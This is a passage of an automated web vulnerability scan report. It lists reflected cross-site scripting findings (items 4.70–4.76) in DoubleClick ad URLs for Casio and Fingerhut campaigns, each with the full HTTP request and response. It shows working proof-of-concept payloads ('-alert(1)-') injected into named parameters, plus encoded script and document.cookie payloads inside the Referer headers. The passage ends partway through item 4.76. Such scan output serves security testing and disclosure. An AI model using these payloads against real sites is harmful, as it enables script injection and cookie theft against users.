User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:17:14 GMT
Content-Length: 4613

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
;
var dcgif = 'http://s0.2mdn.net/3178434/728x90-casio-dart.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803e3020'-alert(1)-'c57a392fa28&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content
...[SNIP]...

4.70. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_pm parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _pm request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 5e96f'-alert(1)-'c09c5c63283 was submitted in the _pm parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=527865e96f'-alert(1)-'c09c5c63283&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:02 GMT
Content-Length: 4613

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
ccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=527865e96f'-alert(1)-'c09c5c63283&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Dartboard%26utm_campaign%3Dtryx';
var target = '_blank'
...[SNIP]...

4.71. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_pn parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _pn request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7569c'-alert(1)-'fb9304985d2 was submitted in the _pn parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=177673507569c'-alert(1)-'fb9304985d2&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:22:54 GMT
Content-Length: 4596

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
h = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=177673507569c'-alert(1)-'fb9304985d2&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%26utm_content%3D728x90-Casio-Diner%26utm_campaign%3Dtryx';
var target = '_blank';
var dcbgcolor =
...[SNIP]...

4.72. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [_s parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the _s request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 400e2'-alert(1)-'fdaaabf8711 was submitted in the _s parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902400e2'-alert(1)-'fdaaabf8711&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:20:24 GMT
Content-Length: 4501

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
sio-728x90.gif';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902400e2'-alert(1)-'fdaaabf8711&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/tryx%3Futm_source%3Dx%2B1%26utm_medium%3Ddisplay%26utm_content%3D728x90-casioflip-flash%26utm_campaign%3Dtryx';
var target = '_bla
...[SNIP]...

4.73. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [redirect parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the redirect request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2e9e8'-alert(1)-'21211a7ed02 was submitted in the redirect parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=2e9e8'-alert(1)-'21211a7ed02 HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 4489
Cache-Control: no-cache
Pragma: no-cache
Date: Tue, 10 May 2011 14:23:35 GMT
Expires: Tue, 10 May 2011 14:23:35 GMT

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...

var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=2e9e8'-alert(1)-'21211a7ed02http://di.casio.com/digital_cameras/TRYX/TRYX?utm_source= x1&utm_medium=display&utm_content=728x90-Casio-Dartboard&utm_campaign=tryx';
var target = '_blank';
var dcbgcolor = '';
var dcswf = 'http://s0.
...[SNIP]...

4.74. http://ad.doubleclick.net/adi/x1.rtb/casio/cttech [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/casio/cttech

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 41065'-alert(1)-'60b08d3d0b4 was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/casio/cttech;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==41065'-alert(1)-'60b08d3d0b4&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=;u=17767350;ord=1300754? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DB7gqneUfJTY27Ndaz6AaC55SGDpyLwYICoN-GtBH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBXmh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydCgxKSUzQy9zY3JpcHQlM0U3ODYxZDk1OGE1NS-YAoIGwAIEyAL264oOqAMB6APdBegDpgPoA5sE9QMCAADEgAaI9ZrRq8yS2vkB%26num%3D1%26sig%3DAGiWqtw7c8Tc5DaxrY1WfTDVIyVygQSXPQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHeQANXY0K2hnW4MUzgkvhkmlLmS-_BY7o8A&_nv=1&_CDbg=17764029&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAL0ODwEAAAAAqxsPAQAAAAC2Gw8BAAAAAL8bDwEAAAAAwBsPAQAAAAAy-txBAAAAAAAA-D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSGVRQU5YWTBLMmhuVzRNVXpnZz09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAAAAAAAAAAAA8AAAAAAAAAMTczLjE5My4yMTQuMjQzBgAAAAAAAAA3Mjh4OTAhAAAAAAAAADEwNjNiYmUwOTllYTY0OGMuYW5vbnltb3VzLmdvb2dsZQwAAAAAAAAAXl4xNzU2MTI5MjgyAwAAAAAAAAA3MzMGAAAAOwAAAAAAAAAAAAAAAAAAAAB6R8lNAAAAAA==
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:16:42 GMT
Content-Length: 4596

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
lttext = '';
var dcgif = 'http://s0.2mdn.net/3178434/728x90-casio-diner.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHeQANXY0K2hnW4MUzgg==41065'-alert(1)-'60b08d3d0b4&_o=17694803&_eo=52786&_et=1305036666&_a=17764029&_s=44276902&_d=17767339&_pm=52786&_pn=17767350&redirect=http%3a%2f%2fdi.casio.com/digital_cameras/TRYX/TRYX%3Futm_source%3D+x1%26utm_medium%3Ddisplay%2
...[SNIP]...

4.75. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_a parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _a request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 835fa'-alert(1)-'83366143a59 was submitted in the _a parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737835fa'-alert(1)-'83366143a59&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://bn.xp1.ru4.com/nf?_pnot=0&_tpc=http://googleads.g.doubleclick.net/aclk%3Fsa%3Dl%26ai%3DBuiJLyUfJTc6QLMq36AaYuJD9DZyLwYICzq352RH454OTEgAQARgBIAA4AVCAx-HEBGDJhoWJiKSEEIIBF2NhLXB1Yi01MjIwOTYwNDk1MTIyMzc1oAH04JnsA7IBDHd3dy5nZWVrLmNvbboBCTcyOHg5MF9hc8gBCdoBbGh0dHA6Ly93d3cuZ2Vlay5jb20vYXJ0aWNsZXMvZ2Vlay1waWNrLzYzMzk4LS0lM0UlM0NzY3JpcHQlM0VhbGVydChkb2N1bWVudC5jb29raWUpJTNDL3NjcmlwdCUzRTc4NjFkOTU4YTU1L5gC7gXAAgTIAvbrig6oAwHoA90F6AOmA_UDAgAAxIAG5qKevvn1pN9U%26num%3D1%26sig%3DAGiWqtzE70M5ZVPZNUy9dig2lfZ1QJdjuQ%26client%3Dca-pub-5220960495122375%26adurl%3D&_wp=TclHyQALCE4K2hvK36QcGKsDJ2HTxV_xoZb9UQ&_nv=1&_CDbg=1791737&_eo=52786&_sm=0&_nm=FgAAAAAAAABzZXJpYWxpemF0aW9uOjphcmNoaXZlBQQIBAgBAAAAAAEBAAEAAAAAAPlWGwAAAAAApi0RAAAAAADBahEBAAAAANQwEQAAAAAA1TARAAAAAAAy-txBAAAAAAAA9D8AAAAAAAAAADLOAAAAAAAAppyjAgAAAAAyzgAAAAAAABgAAAAAAAAAVGNsSHlRQUxDRTRLMmh2SzM2UWNHQT09GwAAAAAAAABDQUVTRUs2TmNPZ1gwaF9RUUpFNXFZZ2dtYTAUAAAAAAAAAEFBLTAwMDAwMDAxOTMxNzA4NDI3DwAAAAAAAAAxNzMuMTkzLjIxNC4yNDMGAAAAAAAAADcyOHg5MCEAAAAAAAAAMTA2M2JiZTA5OWVhNjQ4Yy5hbm9ueW1vdXMuZ29vZ2xlDAAAAAAAAABeXjE3OTgwOTk5NzIDAAAAAAAAADczMwYAAAA7AAAAAAAAAAAAAAAAAAAAAMpHyU0AAAAA
Cookie: id=c60bd0733000097||t=1297260501|et=730|cs=g_qf15ye

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Tue, 10 May 2011 14:20:24 GMT
Content-Length: 4870

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0>

<!-
...[SNIP]...
/1887566/728x90_ps1_static.jpg';
var dccreativewidth = '728';
var dcwmode = 'opaque';
var imgurl = 'http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737835fa'-alert(1)-'83366143a59&_s=44276902&_d=1125798&_pm=52786&_pn=17918657&redirect=http%3a%2f%2fwww.fingerhut.com/user/pre_screen_credit.jsp%3F%26CTid%3D471%26CTKey%3Dorange_ps1%26CTMedia%3Dx1%26CTProgType%3Dmplus1%26CTUnitSize%
...[SNIP]...

4.76. http://ad.doubleclick.net/adi/x1.rtb/fingerhut/doubledma/ron/ctest [_d parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/x1.rtb/fingerhut/doubledma/ron/ctest

Issue detail

The value of the _d request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7374e'-alert(1)-'07dd0d94448 was submitted in the _d parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /adi/x1.rtb/fingerhut/doubledma/ron/ctest;sz=728x90;click=http://bn.xp1.ru4.com/bclick?_f=TclHyQALCE4K2hvK36QcGA==&_o=15607&_eo=52786&_et=1305036746&_a=1791737&_s=44276902&_d=11257987374e'-alert(1)-'07dd0d94448&_pm=52786&_pn=17918657&redirect=;u=17918657;ord=1861503? HTTP/1.1
Host: ad.doubleclick.net
